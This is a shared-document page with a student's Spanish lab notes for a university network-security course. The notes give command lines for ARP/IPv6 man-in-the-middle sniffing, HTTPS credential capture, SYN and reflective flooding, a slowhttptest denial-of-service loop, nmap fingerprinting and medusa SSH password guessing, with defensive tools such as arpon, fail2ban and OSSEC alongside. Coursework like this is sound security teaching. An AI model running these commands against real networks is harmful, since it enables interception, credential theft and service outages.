P2LSI - PRACTICA 2 SEGURIDAD PDF

Title P2LSI - PRACTICA 2 SEGURIDAD
Course Lexislación e Seguridade Informática
Institution Universidade da Coruña
Pages 11
File Size 65.3 KB
File Type PDF
Total Downloads 109
Total Views 142

Summary

PRACTICA 2 SEGURIDAD...


Description

a) Ettercap sniffer Ettercap $ettercap [opciones] [target1] [target2] Los targets: MAC/IPv4/porst //80 -> toda la red en el puerto 80

No usar el // ni el grupo de hosts

Si el IPv6 está activado /MAC/IPV4/IPv6/port

$ettercap -T --P repoison:arp -M arp:remote /x.x.x.x/ /x.x.x.x./ arp:remote: permite el tráfico entre un host y el router, capturando el tráfico que viene de internet"toggle"

$ettercap -M icmp xx:xx:...:xx/X.X.X.X

Por defecto nuestro debian tiene el icmp activado, para desactivarlo

DHCP spoofing: No tenemos problema porque hemos dejado el DHCP static

Port stealing: $ettercap -M port:([remote],[tree])

NDP: MITM en IPv6. En IPv6 no existe arp

$ettercap -T -M arp -l fichero_passwd // // (No usar) $ettercap -P list (Muestra los pluggins) $ettercap -T -P dos_attack /x.x.x.x/ (Ataque DoS a una IP) $ettercap -TP stp_mangler (No us

ar)

b) Capture paquetería de una sesión no segura. $ettercap -T -w apartado2.pcap -M arp:remote /10.10.102.218// /10.10.102.4,5// output: c) Capture un paquete TCP e identifique los principales campos de cabecera.

d) Capture un paquete IPv6 e identifique los principales campos de cabecera.

e) Indique 3 servicios que transmiten información en claro y otros 3 cifrada. Claro: ntp, rsyslog, http Cifrado: ssh, https, ftps

f) Direcciones MAC IPv4 $ping -b 10.10.102.255 $arp -a $nmap -sP -n 10.10.102.0/24 En Debian 9 no funciona porque hay una variable puest aa 1 para que esté deshabilitado

$nmap -sP 10.10.102/24

g) Direcciones IPv6 del segmento Sacamos lista de ipv6: $nmap -sP -n -6 --script=targets-ipv6-multicast-echo | awk '/IP:[[:space:]]/ {print $3}' 1>listaipv6.txt Relación de direcciones: $nmap -sP -n -6 -iL listaipv6 h) Investigar sobre el tráfico de eth0 wireshark

Editar /etc/ssh/ssh_sshd_config X11Forwarding

yes

Si no funciona hacer restart del servicio

$ssh -X [email protected] $xhost +localhost $xhost +10.10.102.x

$tcpdump -i eth0 -s 0 -w traficoeth0.cap $tcpdump -r

i)Visualizar URLs visitadas por la víctima $ettercap -Tq -M arp:remote -P remote_browser /10.10.102.x// /10.10.102.4,5//

j) MITM en IPv6 $echo l > /proc/sys/net/ipv6/conf/all/forwarding Podemos hacer un ettercap ndp

k) ettercap-gtk credenciales https En etter.conf descomentar redir_command_on="iptables-t nat -A PREROUTING -i %iface -p tcp -dport %port -j REDIRECT -to-port %rport"

$ettercap -G

Sniff - United sniff - seleccionar la interface (eth0) Hosts - Scan for hosts Hosts - Hosts list Seleccionar hosts para target1 Seleccionar al router para target2 Mitm - ARP Poisoning - de tipo remoto Start - Start sniffing

$ettercap -Tq -M arp:remote -P remote_browser /10.10.102.x// /10.10.102.4,5// -w httpass.pcap

l) Instale el betercap y prueba alguna opción básica Modificar imágenes $bettercap -T 10.10.102.51 -I eth0 -O /home/lsi/Documentos/bettercap.log -S ARP -X --proxy --proxy-module replace_images.rb --httpd -httpd-path /home/lsi/Documentos/bettercapimages

m) Prueba alguna herramienta de detección de sniffing $arp -s 10.10.102.x xx:xx:xx:xx:xx:xx $arp -s 10.10.102.5 xx:xx:xx:xx:xx:xx

Crear un fichero.arp xx:xx:xx:xx:xx:xx

X.X.X.X

_ xx:xx:xx:xx:xx:xx

X.X.x.X

$arp -f fichero.arp (en ausencia del fichero usar /etc/ethers) Herramienta: arpwatch Herramienta: arpon (monitoriza, avisa)

Editar /etc/default/arpon Descomentar para static y sustituir "no" por "yes"

DAEMON_OPTS='-q -f /var/log/arpon/arpon.log -g -S'

RUN='yes' $cd /etc/rc2.d $ systemctl arpon.service start

En /etc/arpon.arpi meter pares, se meten a mano X.X.X.X xx:xx...:xx:xx

X.X.X.X xx:xx...:xx:xx

$systemctl arpon.service restart

n) Trilogía en IPv4 $nmap -sS -p1-100 -n 10.10.102.x $nmap -sU 123, 514 -n 10.10.102.x (servidores rsyslog y ntp por UDP) $nmap -sL 193.144.51.0/24 (host discovery por resolución inversa de DNS)

-sS(SYN), -sT

Estado de los puertos

Port discovery $nmap -sP -n 10.10.102.0/24 Port scaning $nmap -sS -n --max-retries 10.10.102.0/24 | grep -v Warning OS Fingerprinting $nmap -n -O --max-retries 0 --min-rate 1000 --hosts-timeout 10 10.10.102.0/24 | grep -v Warning

$nmap -O 10.10.102.0/24 (fingerprinting de SO)

o) Trilogía de IPv6 $nmap -6 -p 22,80,443 -n xx:xx:xx...:xx:xx Comando apartado G

p) Conexiones de res en tiempo real $apt-get install iftop

$iftop -i eth0 (tiempo real)

$apt-get install vnstat $vnstat -l -u -i eth0 (tiempo real) $vnstat -u -i eth0 (crea la base de datos)

Después de hacer accounting del eth0 $vnstat (proporciona información de accounting) $vnstat -days (stats por días) $vnstat -weeks (stats por semanas) $vnstat -months (stats por meses)

q) Direct attack y reflective flooding attack $packit -c 0 -b 0 -s 10.10.102.x -d 10.10.102.y -F S -S 1000 -D 22 $packit -c 0 -b 0 -s 10.10.102.x -d 10.10.102.y -F S -S 1001 -D 80

(un script que corra packits con varias IPs origen de nuestro segment contra apache, ssh, etc...) (-F S. Flag SYN)

$packit -c 0 -b 0 -s R 10.10.102.x -F S -S 80 -D 1000 $packit -c 0 -b 0 -s R 10.10.102.x -F S -S 80 -D 22 (El 80 lo dejará salir nuestro firewall) (-s R -IPs aleatorias)

Reflectivo $packit -F S -c 0 -b 0 -s 10.10.102.x -d R -S 1000 -D 80 La atacada es la 200. El -D 80 para que salga del firewall

$hping3 -a 10.10.102.x --flood 10.10.102.y $hping3 -V -c 9999999 -S -p 445 -s 445 --flood 10.10.102.x

r) Tirar a abajo todos los equipos sobre IPv6. Pruebas de flooding en IPv6

$./fake_router6 eth0 1::/64

Configura

Un router responde con un Router Advertisement con los parámetros de configuración

$./fake_router6 eth0 fe80:a00:f145

$smurf6 eth0 ff02:1

s) Ataque un servidor apache para tirarlo https://github.com/shekyan/slowhttptest wget https://github.com/shekyan/slowhttptest/archive/master.zip

$unzip master.zip $./configure -prefix=/home/lsi/slow $make $make install $cd /home/lsi/slow/bin/slowhttptest $./slowhttptest -c 1000 -g -X -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http:/10.10.102.X -p 3

-c 1000 (Número de conexiones) -g (Generar un flow-chart) -X (Activa slow_read_stats) -o file (Genera un fichero.html con parámetros de test) -r 200 Conexiones/seg

-w 512 Rango de bytes del advertised windows size -y 1024 -n 5 Intervalo en segundos entre reads del buffer recieve

Mod anti_loris Bajar el timeout en el archivo de configuración

Script: #!/bin/bash for i in 'seq 1 10'; do ./slowhttptest -c 1000 -g -X -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http:/10.10.102.X -p 3 &

sleep 10

done

t) Investigar los sistemas de nuestra red (fingerprinting de puertos y operaticos) $nmap -sS -p 111 10.10.102.0/24 $nmap -sP 10.10.102.0/24 $nmap -v -O -osscan-guess 10.10.102.x

fw, DNS, dhcp, debian, etc... Trata de localizar alguna vulnerabilidad a mano sobre algunade las bases de datos de vulnerabilidades que hemos referido en clase

Sistema, vulnerabilidad, qué es, cómo protegerse DNS

Kernel

u) Alarmas en log

$apt-get install logcheck Editar /etc/logcheck/logcheck.conf

REPORTLEVEL="server" Puede ser workstation o paranoid SENDMAILTO="lsi" Dirección para reportes #ATTACKHSUBJECT="Security Alerts" #SECURITYHSUBJECT="Security Alerts"

/etc/logcheck/chacking.d/ Muy peligrosas /etc/logcheck/chacking.d/

$sudo -u logcheck ./logcheck estando en /usr/bin

Se basa en la búsqueda de expresiones regulares

v) Password guessing

$medusa -h X.X.X.X -y lsi -P p.txt -M ssh -f

Ataque de "password guessing" contra el host X.X.X.X probando el usuario lsi con los password del fichero p.txt por ssh. ¿Y del root?

Si fail2ban está instalado a los pocos intentos "banea" la IP /etc/init.d/fail2ban

/etc/fail2ban/action.d y filter.d(directorios), fail2ban.conf, jail.conf

Observa de los ficheros de log intentos de conexiones por SSH, SMTP, apache, etc...) y banea con una regla de iptables

Configura por defecto en jail.conf

w) OSSEC (última vesión 2.0.2) Para instalarlo (como root): $wget https://github.com/ossec/ossec-hids/archive/2.9.1.tar.gz $tar -zxvf ossec-hids-*.tar.gz $cd osserc-hids-*

$./install.sh

Idioma - es Tipo de instalación - local Dónde instalar - /var/ossec Recibir notificaciones por email - s Dirección - lsi@localhost Servidor de email - localhost

Servidor de integridad - s Deteccion de rootkits - s Respuesta activa - s Deshechar firewall - s Lista blanca para respuesta activa por amosión - 10.10.102.X Agregar más IPs a la lista blanca - n

Echar un ojo a /var/ossec/etc/ossec.conf y agregar una nueva entrada del tipo localfile

Alertas /var/ossec/log/ossec.log??

Apartados medusa ossec fingerprinting sistemas de la red :D Alguno de sniffing...


Similar Free PDFs